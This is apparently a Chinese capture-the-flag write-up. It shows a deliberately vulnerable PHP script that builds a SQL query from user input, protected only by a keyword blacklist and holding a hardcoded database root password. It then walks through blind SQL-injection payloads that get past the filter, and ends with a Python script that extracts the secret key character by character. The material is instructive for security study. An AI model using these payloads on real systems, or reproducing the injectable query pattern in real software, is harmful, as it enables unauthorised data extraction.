<?php
error_reporting(0);
if (!isset($_POST['uname'])) {
show_source(__FILE__);
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "error";
exit();
}
}
$filter = "key|union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|\#";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("127.0.0.1","root","heheda123");
if (!$con){
die('Could not connect:'.mysql_error());
}
$db="test";
mysql_select_db($db, $con);
$sql="SELECT * FROM secrets WHERE username = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) > 0) {
echo "success";
}
else{
print "fail";
}
mysql_close($con);
/*
CREATE TABLE IF NOT EXISTS `secrets` (
`id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(20) NOT NULL,
`key` char(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=innodb DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
INSERT INTO `xxxxx` (`id`, `username`, `key`) VALUES
(1, 'xxxx', 'xxxxx');
tips:
flag is key
key is number
?>
*/
?>
分析代码
获取表名可以使用innodb_index_stats,mysql5.5版本级以上,默认使用Innode作为存储引擎。
select group_concat(table_name) from mysql.innodb_index_stats where database_name in(database())
可以获取新建的表名
所以完整payload应为:
(right((select group_concat(table_name) from mysql.innodb_index_stats where database_name in(database())),1)in('a')
使用right函数进行截取要注意取出来的顺序是反的
表名有了,但是使用select key from secrets
是会被过滤的,这也是这个注入里面最不好绕的地方。
使用select*from
以及大于小于号进行绕过
一张图就清楚了。
即(select 1,2,'3')
小于 (select 1,2,'4')
先使用select*from 从表中取出数据,这样就可以绕过列名key的限制,再与我们数据进行比较。
这里key为纯数字是为了降低难度,当然,涉及字母,大小顺序为字母大于数字,小写字母大于大写。
所以这里为了使用这种方法注出key的值,需要先注出username的值。
payload为:
(right((select group_concat(username) from secrets),1)in('a')
得到username值为deen之后,再使用 上述方法,完整payload:
((select*from secrets)<(select 1,'deen',{}))
exp如下:
import requests
url = "http://127.0.0.1/flag2.php"
flag = ""
for i in range(1,32):
for j in range(0,9):
payload = "'||((select*from/**/secrets)<(select/**/1,'deen','{}'))||'".format(flag+str(j))
data = {
"uname":payload
}
response = requests.post(url=url,data=data)
if 'success' in response.text:
flag = flag + str(j-1)
print(flag)
break
else:
pass
其实是password字段被or过滤给误伤了.....
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。